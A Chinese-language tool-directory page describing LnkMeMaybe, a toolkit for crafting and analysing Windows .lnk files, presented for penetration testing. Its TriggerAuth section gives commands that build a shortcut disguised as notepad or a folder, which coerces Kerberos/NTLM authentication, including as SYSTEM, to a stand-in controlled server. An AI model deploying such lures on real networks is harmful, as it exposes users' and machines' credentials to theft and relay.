Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
LnkMeMaybe — Lnk crafting and research tools | Kitploit
工具/GitHubGitHub/trustedsec/lnkmemaybe
Payload GenerationExploitationDigital ForensicsPenetration TestingSocial EngineeringBinary Analysis
GitHubtrustedsec/lnkmemaybe

LnkMeMaybe

Lnk crafting and research tools

查看仓库
185115个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

LnkMeMaybe

一个用于创建和分析 Windows Shell Link(.lnk)文件的 .NET 8 工具包。包含命令行构建器(LnkMeMaybe)和图形化编辑器(LnkUi)。适用于安全研究和渗透测试。


项目

项目描述
Lnk/核心库。根据 MS-SHLLINK 规范解析和生成 .lnk 二进制格式。LnkHandler 是主要入口点,由 ShellLinkHeader、LinkTargetIDList、LinkInfo、StringData 和 ExtraData 组成。
LnkMeMaybe/CLI 工具。用于生成各种 .lnk 文件的命令。使用 Titanis.Cli 框架。
LnkUi/Avalonia 11 MVVM 桌面编辑器。七个 ViewModel 包装了相应的 Lnk 库组件。可用于手动探索和检查 .lnk 文件。
LnkTests/MSTest 测试套件。真实的 .lnk 文件样本作为资源嵌入。涵盖 ShellLinkHeader 和 LinkInfo。

CLI — LnkMeMaybe

通用参数

所有命令共享以下基础参数(来自 BaseSavedCommand):


TriggerAuth(CVE-2026-25185)

创建一个触发向指定服务器发送 Kerberos(回退到 NTLM)身份验证的 .lnk 文件。该 .lnk 不会执行任何操作。

触发身份验证的场景:

  1. 用户浏览到包含该 .lnk 的共享位置 — 用户的账户将对外进行身份验证。
  2. 该 .lnk 被放置在计算机配置为索引的位置 — SearchProtocolHost 以 SYSTEM 身份进行身份验证。
  3. MSSense 正在运行且该位置未被豁免 — MSSense.exe 以 SYSTEM 身份进行身份验证。

参数:

示例:

root@kitploit:~
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

创建一个指向 Web URL 的 .lnk 文件。通常 Windows 会为 Web 快捷方式创建 .url 文件;此命令改为生成 .lnk 文件。

参数:

参数必需描述
--Url是快捷方式应指向的 URL。必须是格式正确的绝对 URI。

示例:

root@kitploit:~
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

创建指向本地文件或文件夹的标准 Windows 快捷方式。目标路径存储为 shell 项 ID 列表(PIDL)— Windows 用于文件系统快捷方式的原生格式。

参数:

示例:

root@kitploit:~
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

创建一个 .lnk 文件,其中目标路径存储为可扩展的环境变量字符串(EnvironmentVariableDataBlock)。这是 Windows 用于系统可执行文件快捷方式的格式(例如 %SystemRoot%\system32\notepad.exe)。变量在启动时展开,使快捷方式可跨 Windows 安装移植。

参数:

示例:

root@kitploit:~
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

构建

root@kitploit:~
# Build (debug)
dotnet build Lnk.sln

# Build (release, core projects only)
dotnet build -c Release build.slnf

# Run all tests
dotnet test

# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"

# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

发布版本

适用于 Windows、Linux 和 macOS(x64 和 arm64)的预构建二进制文件可在发布页面获取。

每个版本都包含 LnkMeMaybe 和 LnkUi 的独立版(无需 .NET 运行时)和框架依赖版(需要 .NET 8 运行时)构建。

AI 使用声明

AI 系统被用于以下任务:

  • 代码质量审查
  • README 生成
  • GitHub 工作流操作

此仓库中的代码在其他方面均由人工创建和审查。

下载工具
参数别名必需描述
--OutputPath是用于写入 .lnk 文件的文件系统路径。
--Overwrite否允许覆盖 OutputPath 处的现有文件。
--DisplayName否悬停快捷方式时显示的文本。支持 \n 换行。
--IconPath / -I-I否用作快捷方式图标的 .exe 或 .dll 路径。必须存在于目标系统上。
--IconIndex否--IconPath 指定文件中的图标资源索引。默认值:0。
参数别名必需描述
--FakePath / -F-F是在 .lnk 属性中显示为目标的路径。
--Server / -S-S是用于发送身份验证的服务器主机名、IP 或 UNC 路径。如果未指定共享,则附加 IPC$。
--Darwin否存储在 .lnk 中的 Darwin 标识符。可以是任意值。默认值:unset。
参数别名必需描述
--TargetPath是目标文件或文件夹的绝对路径。
--Arguments否传递给目标的命令行参数。
--WorkingDirectory-W否目标进程的工作目录。
--RunAsAdmin否启动快捷方式时请求 UAC 提升。
--ShowCommand否启动时的窗口状态:Normal、Maximized 或 Minimized。
参数别名必需描述
--TargetPath是目标路径,可包含环境变量,如 %SystemRoot% 或 %USERPROFILE%。
--Arguments否传递给目标的命令行参数。
--WorkingDirectory-W否目标进程的工作目录。
--RunAsAdmin否启动快捷方式时请求 UAC 提升。
--ShowCommand否启动时的窗口状态:Normal、Maximized 或 Minimized。